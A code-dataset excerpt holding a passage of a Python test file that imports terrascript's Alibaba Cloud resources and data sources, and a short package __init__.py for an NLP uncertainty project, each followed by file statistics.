from terrascript.resource.aliyun.alicloud import alicloud_slb_domain_extension
from terrascript.resource.aliyun.alicloud import alicloud_slb_listener
from terrascript.resource.aliyun.alicloud import alicloud_slb_load_balancer
from terrascript.resource.aliyun.alicloud import (
alicloud_slb_master_slave_server_group,
)
from terrascript.resource.aliyun.alicloud import alicloud_slb_rule
from terrascript.resource.aliyun.alicloud import alicloud_slb_server_certificate
from terrascript.resource.aliyun.alicloud import alicloud_slb_server_group
from terrascript.resource.aliyun.alicloud import alicloud_slb_tls_cipher_policy
from terrascript.resource.aliyun.alicloud import alicloud_snapshot
from terrascript.resource.aliyun.alicloud import alicloud_snapshot_policy
from terrascript.resource.aliyun.alicloud import alicloud_snat_entry
from terrascript.resource.aliyun.alicloud import (
alicloud_ssl_certificates_service_certificate,
)
from terrascript.resource.aliyun.alicloud import alicloud_ssl_vpn_client_cert
from terrascript.resource.aliyun.alicloud import alicloud_ssl_vpn_server
from terrascript.resource.aliyun.alicloud import alicloud_subnet
from terrascript.resource.aliyun.alicloud import alicloud_tsdb_instance
from terrascript.resource.aliyun.alicloud import (
alicloud_video_surveillance_system_group,
)
from terrascript.resource.aliyun.alicloud import alicloud_vod_domain
from terrascript.resource.aliyun.alicloud import alicloud_vpc
from terrascript.resource.aliyun.alicloud import alicloud_vpc_dhcp_options_set
from terrascript.resource.aliyun.alicloud import alicloud_vpc_flow_log
from terrascript.resource.aliyun.alicloud import alicloud_vpc_nat_ip
from terrascript.resource.aliyun.alicloud import alicloud_vpc_nat_ip_cidr
from terrascript.resource.aliyun.alicloud import alicloud_vpn_connection
from terrascript.resource.aliyun.alicloud import alicloud_vpn_customer_gateway
from terrascript.resource.aliyun.alicloud import alicloud_vpn_gateway
from terrascript.resource.aliyun.alicloud import alicloud_vpn_route_entry
from terrascript.resource.aliyun.alicloud import alicloud_vswitch
from terrascript.resource.aliyun.alicloud import alicloud_waf_certificate
from terrascript.resource.aliyun.alicloud import alicloud_waf_domain
from terrascript.resource.aliyun.alicloud import alicloud_waf_instance
from terrascript.resource.aliyun.alicloud import (
alicloud_yundun_bastionhost_instance,
)
from terrascript.resource.aliyun.alicloud import alicloud_yundun_dbaudit_instance
def test_datasource_import():
from terrascript.data.aliyun.alicloud import alicloud_account
from terrascript.data.aliyun.alicloud import alicloud_ack_service
from terrascript.data.aliyun.alicloud import alicloud_actiontrail_trails
from terrascript.data.aliyun.alicloud import alicloud_actiontrails
from terrascript.data.aliyun.alicloud import alicloud_adb_clusters
from terrascript.data.aliyun.alicloud import alicloud_adb_db_clusters
from terrascript.data.aliyun.alicloud import alicloud_adb_zones
from terrascript.data.aliyun.alicloud import alicloud_alb_acls
from terrascript.data.aliyun.alicloud import alicloud_alb_health_check_templates
from terrascript.data.aliyun.alicloud import alicloud_alb_listeners
from terrascript.data.aliyun.alicloud import alicloud_alb_load_balancers
from terrascript.data.aliyun.alicloud import alicloud_alb_rules
from terrascript.data.aliyun.alicloud import alicloud_alb_security_policies
from terrascript.data.aliyun.alicloud import alicloud_alb_server_groups
from terrascript.data.aliyun.alicloud import alicloud_alb_zones
from terrascript.data.aliyun.alicloud import alicloud_alidns_domain_groups
from terrascript.data.aliyun.alicloud import alicloud_alidns_domains
from terrascript.data.aliyun.alicloud import alicloud_alidns_instances
from terrascript.data.aliyun.alicloud import alicloud_alidns_records
from terrascript.data.aliyun.alicloud import alicloud_alikafka_consumer_groups
from terrascript.data.aliyun.alicloud import alicloud_alikafka_instances
from terrascript.data.aliyun.alicloud import alicloud_alikafka_sasl_acls
from terrascript.data.aliyun.alicloud import alicloud_alikafka_sasl_users
from terrascript.data.aliyun.alicloud import alicloud_alikafka_topics
from terrascript.data.aliyun.alicloud import alicloud_amqp_bindings
from terrascript.data.aliyun.alicloud import alicloud_amqp_exchanges
from terrascript.data.aliyun.alicloud import alicloud_amqp_instances
from terrascript.data.aliyun.alicloud import alicloud_amqp_queues
from terrascript.data.aliyun.alicloud import alicloud_amqp_virtual_hosts
from terrascript.data.aliyun.alicloud import alicloud_api_gateway_apis
from terrascript.data.aliyun.alicloud import alicloud_api_gateway_apps
from terrascript.data.aliyun.alicloud import alicloud_api_gateway_groups
from terrascript.data.aliyun.alicloud import alicloud_api_gateway_service
from terrascript.data.aliyun.alicloud import alicloud_arms_alert_contact_groups
from terrascript.data.aliyun.alicloud import alicloud_arms_alert_contacts
from terrascript.data.aliyun.alicloud import alicloud_arms_dispatch_rules
from terrascript.data.aliyun.alicloud import alicloud_arms_prometheus_alert_rules
from terrascript.data.aliyun.alicloud import alicloud_bastionhost_host_accounts
from terrascript.data.aliyun.alicloud import alicloud_bastionhost_host_groups
from terrascript.data.aliyun.alicloud import alicloud_bastionhost_hosts
from terrascript.data.aliyun.alicloud import alicloud_bastionhost_instances
from terrascript.data.aliyun.alicloud import alicloud_bastionhost_user_groups
from terrascript.data.aliyun.alicloud import alicloud_bastionhost_users
from terrascript.data.aliyun.alicloud import alicloud_brain_industrial_pid_loops
from terrascript.data.aliyun.alicloud import (
alicloud_brain_industrial_pid_organizations,
)
from terrascript.data.aliyun.alicloud import alicloud_brain_industrial_pid_projects
from terrascript.data.aliyun.alicloud import alicloud_brain_industrial_service
from terrascript.data.aliyun.alicloud import alicloud_caller_identity
from terrascript.data.aliyun.alicloud import alicloud_cas_certificates
from terrascript.data.aliyun.alicloud import alicloud_cassandra_backup_plans
from terrascript.data.aliyun.alicloud import alicloud_cassandra_clusters
from terrascript.data.aliyun.alicloud import alicloud_cassandra_data_centers
from terrascript.data.aliyun.alicloud import alicloud_cassandra_zones
from terrascript.data.aliyun.alicloud import alicloud_cddc_dedicated_host_groups
from terrascript.data.aliyun.alicloud import alicloud_cdn_real_time_log_deliveries
from terrascript.data.aliyun.alicloud import alicloud_cdn_service
from terrascript.data.aliyun.alicloud import alicloud_cen_bandwidth_limits
from terrascript.data.aliyun.alicloud import alicloud_cen_bandwidth_packages
from terrascript.data.aliyun.alicloud import alicloud_cen_flowlogs
from terrascript.data.aliyun.alicloud import alicloud_cen_instance_attachments
from terrascript.data.aliyun.alicloud import alicloud_cen_instances
from terrascript.data.aliyun.alicloud import alicloud_cen_private_zones
from terrascript.data.aliyun.alicloud import alicloud_cen_region_route_entries
from terrascript.data.aliyun.alicloud import alicloud_cen_route_entries
from terrascript.data.aliyun.alicloud import alicloud_cen_route_maps
from terrascript.data.aliyun.alicloud import alicloud_cen_route_services
from terrascript.data.aliyun.alicloud import (
alicloud_cen_transit_router_peer_attachments,
)
from terrascript.data.aliyun.alicloud import (
alicloud_cen_transit_router_route_entries,
)
from terrascript.data.aliyun.alicloud import (
alicloud_cen_transit_router_route_table_associations,
)
from terrascript.data.aliyun.alicloud import (
alicloud_cen_transit_router_route_table_propagations,
)
from terrascript.data.aliyun.alicloud import (
alicloud_cen_transit_router_route_tables,
)
from terrascript.data.aliyun.alicloud import (
alicloud_cen_transit_router_vbr_attachments,
)
from terrascript.data.aliyun.alicloud import (
alicloud_cen_transit_router_vpc_attachments,
)
from terrascript.data.aliyun.alicloud import alicloud_cen_transit_routers
from terrascript.data.aliyun.alicloud import alicloud_cen_vbr_health_checks
from terrascript.data.aliyun.alicloud import alicloud_click_house_accounts
from terrascript.data.aliyun.alicloud import alicloud_click_house_db_clusters
from terrascript.data.aliyun.alicloud import alicloud_cloud_connect_networks
from terrascript.data.aliyun.alicloud import (
alicloud_cloud_firewall_control_policies,
)
from terrascript.data.aliyun.alicloud import alicloud_cloud_sso_directories
from terrascript.data.aliyun.alicloud import alicloud_cloud_storage_gateway_gateways
from terrascript.data.aliyun.alicloud import alicloud_cloud_storage_gateway_service
from terrascript.data.aliyun.alicloud import (
alicloud_cloud_storage_gateway_storage_bundles,
)
from terrascript.data.aliyun.alicloud import alicloud_cms_alarm_contact_groups
from terrascript.data.aliyun.alicloud import alicloud_cms_alarm_contacts
from terrascript.data.aliyun.alicloud import alicloud_cms_group_metric_rules
from terrascript.data.aliyun.alicloud import alicloud_cms_metric_rule_templates
from terrascript.data.aliyun.alicloud import alicloud_cms_monitor_group_instances
from terrascript.data.aliyun.alicloud import alicloud_cms_monitor_group_instanceses
from terrascript.data.aliyun.alicloud import alicloud_cms_monitor_groups
from terrascript.data.aliyun.alicloud import alicloud_cms_service
from terrascript.data.aliyun.alicloud import alicloud_common_bandwidth_packages
from terrascript.data.aliyun.alicloud import (
alicloud_config_aggregate_compliance_packs,
)
from terrascript.data.aliyun.alicloud import alicloud_config_aggregate_config_rules
from terrascript.data.aliyun.alicloud import alicloud_config_aggregators
from terrascript.data.aliyun.alicloud import alicloud_config_compliance_packs
from terrascript.data.aliyun.alicloud import alicloud_config_configuration_recorders
from terrascript.data.aliyun.alicloud import alicloud_config_delivery_channels
from terrascript.data.aliyun.alicloud import alicloud_config_rules
from terrascript.data.aliyun.alicloud import alicloud_cr_ee_instances
from terrascript.data.aliyun.alicloud import alicloud_cr_ee_namespaces
from terrascript.data.aliyun.alicloud import alicloud_cr_ee_repos
from terrascript.data.aliyun.alicloud import alicloud_cr_ee_sync_rules
from terrascript.data.aliyun.alicloud import alicloud_cr_namespaces
from terrascript.data.aliyun.alicloud import alicloud_cr_repos
from terrascript.data.aliyun.alicloud import alicloud_cr_service
from terrascript.data.aliyun.alicloud import alicloud_cs_edge_kubernetes_clusters
from terrascript.data.aliyun.alicloud import alicloud_cs_kubernetes_clusters
from terrascript.data.aliyun.alicloud import alicloud_cs_kubernetes_permissions
from terrascript.data.aliyun.alicloud import alicloud_cs_managed_kubernetes_clusters
from terrascript.data.aliyun.alicloud import (
alicloud_cs_serverless_kubernetes_clusters,
)
from terrascript.data.aliyun.alicloud import alicloud_data_works_folders
from terrascript.data.aliyun.alicloud import alicloud_database_gateway_gateways
from terrascript.data.aliyun.alicloud import alicloud_datahub_service
from terrascript.data.aliyun.alicloud import alicloud_dataworks_service
from terrascript.data.aliyun.alicloud import alicloud_db_instance_classes
from terrascript.data.aliyun.alicloud import alicloud_db_instance_engines
from terrascript.data.aliyun.alicloud import alicloud_db_instances
from terrascript.data.aliyun.alicloud import alicloud_db_zones
from terrascript.data.aliyun.alicloud import alicloud_dbfs_instances
from terrascript.data.aliyun.alicloud import alicloud_dcdn_domains
from terrascript.data.aliyun.alicloud import alicloud_dcdn_service
from terrascript.data.aliyun.alicloud import alicloud_ddosbgp_instances
from terrascript.data.aliyun.alicloud import alicloud_ddoscoo_domain_resources
from terrascript.data.aliyun.alicloud import alicloud_ddoscoo_instances
from terrascript.data.aliyun.alicloud import alicloud_ddoscoo_ports
from terrascript.data.aliyun.alicloud import alicloud_dfs_access_groups
from terrascript.data.aliyun.alicloud import alicloud_direct_mail_domains
from terrascript.data.aliyun.alicloud import alicloud_direct_mail_mail_addresses
from terrascript.data.aliyun.alicloud import alicloud_direct_mail_receiverses
from terrascript.data.aliyun.alicloud import alicloud_disks
from terrascript.data.aliyun.alicloud import alicloud_dms_enterprise_instances
from terrascript.data.aliyun.alicloud import alicloud_dms_enterprise_users
from terrascript.data.aliyun.alicloud import alicloud_dns_domain_groups
from terrascript.data.aliyun.alicloud import alicloud_dns_domain_records
from terrascript.data.aliyun.alicloud import alicloud_dns_domain_txt_guid
from terrascript.data.aliyun.alicloud import alicloud_dns_domains
from terrascript.data.aliyun.alicloud import alicloud_dns_groups
from terrascript.data.aliyun.alicloud import alicloud_dns_instances
from terrascript.data.aliyun.alicloud import alicloud_dns_records
from terrascript.data.aliyun.alicloud import alicloud_dns_resolution_lines
from terrascript.data.aliyun.alicloud import alicloud_drds_instances
from terrascript.data.aliyun.alicloud import alicloud_ecd_policy_groups
from terrascript.data.aliyun.alicloud import alicloud_eci_container_groups
from terrascript.data.aliyun.alicloud import alicloud_eci_image_caches
from terrascript.data.aliyun.alicloud import alicloud_ecp_key_pairs
from terrascript.data.aliyun.alicloud import alicloud_ecs_auto_snapshot_policies
from terrascript.data.aliyun.alicloud import alicloud_ecs_commands
from terrascript.data.aliyun.alicloud import alicloud_ecs_dedicated_hosts
from terrascript.data.aliyun.alicloud import alicloud_ecs_disks
from terrascript.data.aliyun.alicloud import alicloud_ecs_hpc_clusters
from terrascript.data.aliyun.alicloud import alicloud_ecs_key_pairs
from terrascript.data.aliyun.alicloud import alicloud_ecs_launch_templates
from terrascript.data.aliyun.alicloud import alicloud_ecs_network_interfaces
from terrascript.data.aliyun.alicloud import alicloud_ecs_snapshots
from terrascript.data.aliyun.alicloud import alicloud_edas_applications
from terrascript.data.aliyun.alicloud import alicloud_edas_clusters
from terrascript.data.aliyun.alicloud import alicloud_edas_deploy_groups
from terrascript.data.aliyun.alicloud import alicloud_edas_service
from terrascript.data.aliyun.alicloud import alicloud_ehpc_job_templates
from terrascript.data.aliyun.alicloud import alicloud_eip_addresses
from terrascript.data.aliyun.alicloud import (
alicloud_eipanycast_anycast_eip_addresses,
)
from terrascript.data.aliyun.alicloud import alicloud_eips
from terrascript.data.aliyun.alicloud import alicloud_elasticsearch_instances
from terrascript.data.aliyun.alicloud import alicloud_elasticsearch_zones
from terrascript.data.aliyun.alicloud import alicloud_emr_disk_types
from terrascript.data.aliyun.alicloud import alicloud_emr_instance_types
from terrascript.data.aliyun.alicloud import alicloud_emr_main_versions
from terrascript.data.aliyun.alicloud import alicloud_enhanced_nat_available_zones
from terrascript.data.aliyun.alicloud import alicloud_ens_key_pairs
from terrascript.data.aliyun.alicloud import alicloud_ess_alarms
from terrascript.data.aliyun.alicloud import alicloud_ess_lifecycle_hooks
from terrascript.data.aliyun.alicloud import alicloud_ess_notifications
from terrascript.data.aliyun.alicloud import alicloud_ess_scaling_configurations
from terrascript.data.aliyun.alicloud import alicloud_ess_scaling_groups
from terrascript.data.aliyun.alicloud import alicloud_ess_scaling_rules
from terrascript.data.aliyun.alicloud import alicloud_ess_scheduled_tasks
from terrascript.data.aliyun.alicloud import alicloud_event_bridge_event_buses
from terrascript.data.aliyun.alicloud import alicloud_event_bridge_event_sources
from terrascript.data.aliyun.alicloud import alicloud_event_bridge_rules
from terrascript.data.aliyun.alicloud import alicloud_event_bridge_service
from terrascript.data.aliyun.alicloud import alicloud_express_connect_access_points
from terrascript.data.aliyun.alicloud import (
alicloud_express_connect_physical_connection_service,
)
from terrascript.data.aliyun.alicloud import (
alicloud_express_connect_physical_connections,
)
from terrascript.data.aliyun.alicloud import (
alicloud_express_connect_virtual_border_routers,
)
from terrascript.data.aliyun.alicloud import alicloud_fc_custom_domains
from terrascript.data.aliyun.alicloud import alicloud_fc_functions
from terrascript.data.aliyun.alicloud import alicloud_fc_service
from terrascript.data.aliyun.alicloud import alicloud_fc_services
from terrascript.data.aliyun.alicloud import alicloud_fc_triggers
from terrascript.data.aliyun.alicloud import alicloud_fc_zones
from terrascript.data.aliyun.alicloud import alicloud_file_crc64_checksum
from terrascript.data.aliyun.alicloud import alicloud_fnf_flows
from terrascript.data.aliyun.alicloud import alicloud_fnf_schedules
from terrascript.data.aliyun.alicloud import alicloud_fnf_service
from terrascript.data.aliyun.alicloud import alicloud_forward_entries
from terrascript.data.aliyun.alicloud import alicloud_ga_accelerators
from terrascript.data.aliyun.alicloud import alicloud_ga_bandwidth_packages
from terrascript.data.aliyun.alicloud import alicloud_ga_endpoint_groups
from terrascript.data.aliyun.alicloud import alicloud_ga_forwarding_rules
from terrascript.data.aliyun.alicloud import alicloud_ga_ip_sets
from terrascript.data.aliyun.alicloud import alicloud_ga_listeners
from terrascript.data.aliyun.alicloud import alicloud_gpdb_instances
from terrascript.data.aliyun.alicloud import alicloud_gpdb_zones
from terrascript.data.aliyun.alicloud import alicloud_graph_database_db_instances
from terrascript.data.aliyun.alicloud import alicloud_havips
from terrascript.data.aliyun.alicloud import alicloud_hbase_instance_types
from terrascript.data.aliyun.alicloud import alicloud_hbase_instances
from terrascript.data.aliyun.alicloud import alicloud_hbase_zones
from terrascript.data.aliyun.alicloud import alicloud_hbr_ecs_backup_clients
from terrascript.data.aliyun.alicloud import alicloud_hbr_ecs_backup_plans
from terrascript.data.aliyun.alicloud import alicloud_hbr_nas_backup_plans
from terrascript.data.aliyun.alicloud import alicloud_hbr_oss_backup_plans
from terrascript.data.aliyun.alicloud import alicloud_hbr_restore_jobs
from terrascript.data.aliyun.alicloud import alicloud_hbr_snapshots
from terrascript.data.aliyun.alicloud import alicloud_hbr_vaults
from terrascript.data.aliyun.alicloud import alicloud_images
from terrascript.data.aliyun.alicloud import alicloud_imm_projects
from terrascript.data.aliyun.alicloud import alicloud_instance_type_families
from terrascript.data.aliyun.alicloud import alicloud_instance_types
from terrascript.data.aliyun.alicloud import alicloud_instances
from terrascript.data.aliyun.alicloud import alicloud_iot_device_groups
from terrascript.data.aliyun.alicloud import alicloud_iot_service
from terrascript.data.aliyun.alicloud import alicloud_key_pairs
from terrascript.data.aliyun.alicloud import alicloud_kms_aliases
from terrascript.data.aliyun.alicloud import alicloud_kms_ciphertext
from terrascript.data.aliyun.alicloud import alicloud_kms_key_versions
from terrascript.data.aliyun.alicloud import alicloud_kms_keys
from terrascript.data.aliyun.alicloud import alicloud_kms_plaintext
from terrascript.data.aliyun.alicloud import alicloud_kms_secret_versions
from terrascript.data.aliyun.alicloud import alicloud_kms_secrets
from terrascript.data.aliyun.alicloud import alicloud_kms_service
from terrascript.data.aliyun.alicloud import alicloud_kvstore_accounts
from terrascript.data.aliyun.alicloud import alicloud_kvstore_connections
from terrascript.data.aliyun.alicloud import alicloud_kvstore_instance_classes
from terrascript.data.aliyun.alicloud import alicloud_kvstore_instance_engines
from terrascript.data.aliyun.alicloud import alicloud_kvstore_instances
from terrascript.data.aliyun.alicloud import alicloud_kvstore_permission
from terrascript.data.aliyun.alicloud import alicloud_kvstore_zones
from terrascript.data.aliyun.alicloud import alicloud_lindorm_instances
from terrascript.data.aliyun.alicloud import alicloud_log_projects
from terrascript.data.aliyun.alicloud import alicloud_log_service
from terrascript.data.aliyun.alicloud import alicloud_log_stores
from terrascript.data.aliyun.alicloud import alicloud_market_product
from terrascript.data.aliyun.alicloud import alicloud_market_products
from terrascript.data.aliyun.alicloud import alicloud_maxcompute_service
from terrascript.data.aliyun.alicloud import alicloud_mns_queues
from terrascript.data.aliyun.alicloud import alicloud_mns_service
from terrascript.data.aliyun.alicloud import alicloud_mns_topic_subscriptions
from terrascript.data.aliyun.alicloud import alicloud_mns_topics
from terrascript.data.aliyun.alicloud import alicloud_mongo_instances
from terrascript.data.aliyun.alicloud import alicloud_mongodb_instances
from terrascript.data.aliyun.alicloud import alicloud_mongodb_zones
from terrascript.data.aliyun.alicloud import alicloud_msc_sub_contacts
from terrascript.data.aliyun.alicloud import alicloud_msc_sub_subscriptions
from terrascript.data.aliyun.alicloud import alicloud_mse_clusters
from terrascript.data.aliyun.alicloud import alicloud_nas_access_groups
from terrascript.data.aliyun.alicloud import alicloud_nas_access_rules
from terrascript.data.aliyun.alicloud import alicloud_nas_file_systems
from terrascript.data.aliyun.alicloud import alicloud_nas_mount_targets
from terrascript.data.aliyun.alicloud import alicloud_nas_protocols
from terrascript.data.aliyun.alicloud import alicloud_nas_service
from terrascript.data.aliyun.alicloud import alicloud_nat_gateways
from terrascript.data.aliyun.alicloud import alicloud_network_acls
from terrascript.data.aliyun.alicloud import alicloud_network_interfaces
from terrascript.data.aliyun.alicloud import alicloud_ons_groups
from terrascript.data.aliyun.alicloud import alicloud_ons_instances
from terrascript.data.aliyun.alicloud import alicloud_ons_service
from terrascript.data.aliyun.alicloud import alicloud_ons_topics
from terrascript.data.aliyun.alicloud import alicloud_oos_executions
from terrascript.data.aliyun.alicloud import alicloud_oos_templates
from terrascript.data.aliyun.alicloud import alicloud_open_search_app_groups
from terrascript.data.aliyun.alicloud import alicloud_oss_bucket_objects
from terrascript.data.aliyun.alicloud import alicloud_oss_buckets
from terrascript.data.aliyun.alicloud import alicloud_oss_service
from terrascript.data.aliyun.alicloud import alicloud_ots_instance_attachments
from terrascript.data.aliyun.alicloud import alicloud_ots_instances
from terrascript.data.aliyun.alicloud import alicloud_ots_service
from terrascript.data.aliyun.alicloud import alicloud_ots_tables
from terrascript.data.aliyun.alicloud import alicloud_polardb_accounts
from terrascript.data.aliyun.alicloud import alicloud_polardb_clusters
from terrascript.data.aliyun.alicloud import alicloud_polardb_databases
from terrascript.data.aliyun.alicloud import alicloud_polardb_endpoints
from terrascript.data.aliyun.alicloud import alicloud_polardb_node_classes
from terrascript.data.aliyun.alicloud import alicloud_polardb_zones
from terrascript.data.aliyun.alicloud import alicloud_privatelink_service
from terrascript.data.aliyun.alicloud import (
alicloud_privatelink_vpc_endpoint_connections,
)
from terrascript.data.aliyun.alicloud import (
alicloud_privatelink_vpc_endpoint_service_resources,
)
from terrascript.data.aliyun.alicloud import (
alicloud_privatelink_vpc_endpoint_service_users,
)
from terrascript.data.aliyun.alicloud import (
alicloud_privatelink_vpc_endpoint_services,
)
from terrascript.data.aliyun.alicloud import alicloud_privatelink_vpc_endpoint_zones
from terrascript.data.aliyun.alicloud import alicloud_privatelink_vpc_endpoints
from terrascript.data.aliyun.alicloud import alicloud_pvtz_service
from terrascript.data.aliyun.alicloud import alicloud_pvtz_zone_records
from terrascript.data.aliyun.alicloud import alicloud_pvtz_zones
from terrascript.data.aliyun.alicloud import alicloud_quick_bi_users
from terrascript.data.aliyun.alicloud import alicloud_quotas_application_infos
from terrascript.data.aliyun.alicloud import alicloud_quotas_quota_alarms
from terrascript.data.aliyun.alicloud import alicloud_quotas_quota_applications
from terrascript.data.aliyun.alicloud import alicloud_quotas_quotas
from terrascript.data.aliyun.alicloud import alicloud_ram_account_alias
from terrascript.data.aliyun.alicloud import alicloud_ram_account_aliases
from terrascript.data.aliyun.alicloud import alicloud_ram_groups
from terrascript.data.aliyun.alicloud import alicloud_ram_policies
from terrascript.data.aliyun.alicloud import alicloud_ram_roles
from terrascript.data.aliyun.alicloud import alicloud_ram_saml_providers
from terrascript.data.aliyun.alicloud import alicloud_ram_users
from terrascript.data.aliyun.alicloud import alicloud_rds_accounts
from terrascript.data.aliyun.alicloud import alicloud_rds_parameter_groups
from terrascript.data.aliyun.alicloud import alicloud_regions
from terrascript.data.aliyun.alicloud import alicloud_resource_manager_accounts
from terrascript.data.aliyun.alicloud import (
alicloud_resource_manager_control_policies,
)
from terrascript.data.aliyun.alicloud import (
alicloud_resource_manager_control_policy_attachments,
)
from terrascript.data.aliyun.alicloud import alicloud_resource_manager_folders
from terrascript.data.aliyun.alicloud import alicloud_resource_manager_handshakes
from terrascript.data.aliyun.alicloud import alicloud_resource_manager_policies
from terrascript.data.aliyun.alicloud import (
alicloud_resource_manager_policy_attachments,
)
from terrascript.data.aliyun.alicloud import (
alicloud_resource_manager_policy_versions,
)
from terrascript.data.aliyun.alicloud import (
alicloud_resource_manager_resource_directories,
)
from terrascript.data.aliyun.alicloud import (
alicloud_resource_manager_resource_groups,
)
from terrascript.data.aliyun.alicloud import (
alicloud_resource_manager_resource_shares,
)
from terrascript.data.aliyun.alicloud import alicloud_resource_manager_roles
from terrascript.data.aliyun.alicloud import (
alicloud_resource_manager_shared_resources,
)
from terrascript.data.aliyun.alicloud import (
alicloud_resource_manager_shared_targets,
)
from terrascript.data.aliyun.alicloud import alicloud_ros_change_sets
from terrascript.data.aliyun.alicloud import alicloud_ros_stack_groups
from terrascript.data.aliyun.alicloud import alicloud_ros_stacks
from terrascript.data.aliyun.alicloud import alicloud_ros_templates
from terrascript.data.aliyun.alicloud import alicloud_route_entries
from terrascript.data.aliyun.alicloud import alicloud_route_tables
from terrascript.data.aliyun.alicloud import alicloud_router_interfaces
from terrascript.data.aliyun.alicloud import alicloud_sae_applications
from terrascript.data.aliyun.alicloud import alicloud_sae_config_maps
from terrascript.data.aliyun.alicloud import alicloud_sae_namespaces
from terrascript.data.aliyun.alicloud import alicloud_sae_service
from terrascript.data.aliyun.alicloud import alicloud_sag_acls
from terrascript.data.aliyun.alicloud import alicloud_scdn_domains
from terrascript.data.aliyun.alicloud import alicloud_sddp_configs
from terrascript.data.aliyun.alicloud import alicloud_sddp_instances
from terrascript.data.aliyun.alicloud import alicloud_sddp_rules
from terrascript.data.aliyun.alicloud import alicloud_security_center_groups
from terrascript.data.aliyun.alicloud import alicloud_security_group_rules
from terrascript.data.aliyun.alicloud import alicloud_security_groups
from terrascript.data.aliyun.alicloud import (
alicloud_simple_application_server_images,
)
from terrascript.data.aliyun.alicloud import (
alicloud_simple_application_server_instances,
)
from terrascript.data.aliyun.alicloud import (
alicloud_simple_application_server_plans,
)
from terrascript.data.aliyun.alicloud import alicloud_slb_acls
from terrascript.data.aliyun.alicloud import alicloud_slb_attachments
from terrascript.data.aliyun.alicloud import alicloud_slb_backend_servers
from terrascript.data.aliyun.alicloud import alicloud_slb_ca_certificates
from terrascript.data.aliyun.alicloud import alicloud_slb_domain_extensions
from terrascript.data.aliyun.alicloud import alicloud_slb_listeners
from terrascript.data.aliyun.alicloud import alicloud_slb_load_balancers
from terrascript.data.aliyun.alicloud import alicloud_slb_master_slave_server_groups
from terrascript.data.aliyun.alicloud import alicloud_slb_rules
from terrascript.data.aliyun.alicloud import alicloud_slb_server_certificates
from terrascript.data.aliyun.alicloud import alicloud_slb_server_groups
from terrascript.data.aliyun.alicloud import alicloud_slb_tls_cipher_policies
from terrascript.data.aliyun.alicloud import alicloud_slb_zones
from terrascript.data.aliyun.alicloud import alicloud_slbs
from terrascript.data.aliyun.alicloud import alicloud_snapshots
from terrascript.data.aliyun.alicloud import alicloud_snat_entries
from terrascript.data.aliyun.alicloud import (
alicloud_ssl_certificates_service_certificates,
)
from terrascript.data.aliyun.alicloud import alicloud_ssl_vpn_client_certs
from terrascript.data.aliyun.alicloud import alicloud_ssl_vpn_servers
from terrascript.data.aliyun.alicloud import alicloud_tsdb_instances
from terrascript.data.aliyun.alicloud import alicloud_tsdb_zones
from terrascript.data.aliyun.alicloud import (
alicloud_video_surveillance_system_groups,
)
from terrascript.data.aliyun.alicloud import alicloud_vod_domains
from terrascript.data.aliyun.alicloud import alicloud_vpc_dhcp_options_sets
from terrascript.data.aliyun.alicloud import alicloud_vpc_flow_logs
from terrascript.data.aliyun.alicloud import alicloud_vpc_nat_ip_cidrs
from terrascript.data.aliyun.alicloud import alicloud_vpc_nat_ips
from terrascript.data.aliyun.alicloud import alicloud_vpcs
from terrascript.data.aliyun.alicloud import alicloud_vpn_connections
from terrascript.data.aliyun.alicloud import alicloud_vpn_customer_gateways
from terrascript.data.aliyun.alicloud import alicloud_vpn_gateways
from terrascript.data.aliyun.alicloud import alicloud_vs_service
from terrascript.data.aliyun.alicloud import alicloud_vswitches
from terrascript.data.aliyun.alicloud import alicloud_waf_certificates
from terrascript.data.aliyun.alicloud import alicloud_waf_domains
from terrascript.data.aliyun.alicloud import alicloud_waf_instances
from terrascript.data.aliyun.alicloud import alicloud_yundun_bastionhost_instances
from terrascript.data.aliyun.alicloud import alicloud_yundun_dbaudit_instance
from terrascript.data.aliyun.alicloud import alicloud_zones
# TODO: Shortcut imports without namespace for official and supported providers.
# TODO: This has to be moved into a required_providers block.
# def test_version_source():
#
# import terrascript.provider.aliyun.alicloud
#
# t = terrascript.provider.aliyun.alicloud.alicloud()
# s = str(t)
#
# assert 'https://github.com/aliyun/terraform-provider-alicloud' in s
# assert '1.136.0' in s
| 36.660163 | 88 | 0.828913 | 8,070 | 67,638 | 6.663321 | 0.065056 | 0.212969 | 0.302754 | 0.423856 | 0.967921 | 0.963327 | 0.951388 | 0.927157 | 0.525747 | 0.196232 | 0 | 0.000357 | 0.129705 | 67,638 | 1,844 | 89 | 36.680043 | 0.91314 | 0.007363 | 0 | 0.09505 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0.000542 | 0 | 1 | 0.00297 | true | 0.00099 | 0.809901 | 0 | 0.812871 | 0 | 0 | 0 | 0 | null | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 11 |
5fac64960f6f2d11374a31e751f72d229b810768 | 297 | py | Python | nlp_uncertainty_ssl/__init__.py | apmoore1/nlp-uncertainty-ssl | 4531ffce61557b4d4a71b97698479a30f65efaec | [
"Apache-2.0"
] | null | null | null | nlp_uncertainty_ssl/__init__.py | apmoore1/nlp-uncertainty-ssl | 4531ffce61557b4d4a71b97698479a30f65efaec | [
"Apache-2.0"
] | null | null | null | nlp_uncertainty_ssl/__init__.py | apmoore1/nlp-uncertainty-ssl | 4531ffce61557b4d4a71b97698479a30f65efaec | [
"Apache-2.0"
] | null | null | null | from nlp_uncertainty_ssl import dataset_readers
from nlp_uncertainty_ssl import models
from nlp_uncertainty_ssl import predictors
from nlp_uncertainty_ssl import metrics
from nlp_uncertainty_ssl import util
from nlp_uncertainty_ssl import emotion_metrics
from nlp_uncertainty_ssl import model_util | 42.428571 | 47 | 0.909091 | 45 | 297 | 5.622222 | 0.288889 | 0.193676 | 0.498024 | 0.581028 | 0.802372 | 0.268775 | 0 | 0 | 0 | 0 | 0 | 0 | 0.090909 | 297 | 7 | 48 | 42.428571 | 0.937037 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 7 |
